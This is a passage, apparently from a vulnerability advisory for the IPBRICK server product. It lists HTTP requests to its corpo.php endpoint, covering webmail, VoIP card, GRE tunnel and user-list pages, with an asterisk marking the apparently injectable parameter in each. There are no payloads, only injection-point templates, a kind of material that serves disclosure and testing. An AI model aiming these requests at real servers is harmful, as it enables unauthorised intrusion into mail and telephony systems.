-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0avoip_placas_pstn_submitdb\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;tipoplaca\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;manufacturer\&quot;\x0d\x0a\x0d\x0a6\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;numportas\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;interface1\&quot;\x0d\x0a\x0d\x0aPSTN*\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;porta1\&quot;\x0d\x0a\x0d\x0aTE PtP\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;inserir\&quot;\x0d\x0a\x0d\x0aInsert\x0d\x0a-----------------------------1263099156734327261671054908--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=gre_alt_acc*&amp;amp;idgre=2&amp;amp;reload=1&amp;amp;control=2&amp;amp;lastrmt=0&amp;amp;name=a&amp;amp;description=b&amp;amp;active=t&amp;amp;lo_ip1=10&amp;amp;lo_ip2=0&amp;amp;lo_ip3=0&amp;amp;lo_ip4=253&amp;amp;li_ip1=192&amp;amp;li_ip2=168&amp;amp;li_ip3=69&amp;amp;li_ip4=199&amp;amp;ro_ip1=1&amp;amp;ro_ip2=1&amp;amp;ro_ip3=1&amp;amp;ro_ip4=12&amp;amp;alterar=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET
https://ipbrick.domain.com/corpo.php?pagina=utilizador_ver_lista&amp;amp;offset=0&amp;amp;first_char=&amp;amp;pesq_nome=*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0avoip_placas_pstn_submitdb\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;tipoplaca\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;manufacturer\&quot;\x0d\x0a\x0d\x0a6\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;numportas\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;interface1\&quot;\x0d\x0a\x0d\x0aPSTN\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;porta1\&quot;\x0d\x0a\x0d\x0aTE PtP*\x0d\x0a-----------------------------1263099156734327261671054908\x0d\x0aContent-Disposition: form-data; name=\&quot;inserir\&quot;\x0d\x0a\x0d\x0aInsert\x0d\x0a-----------------------------1263099156734327261671054908--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.ph
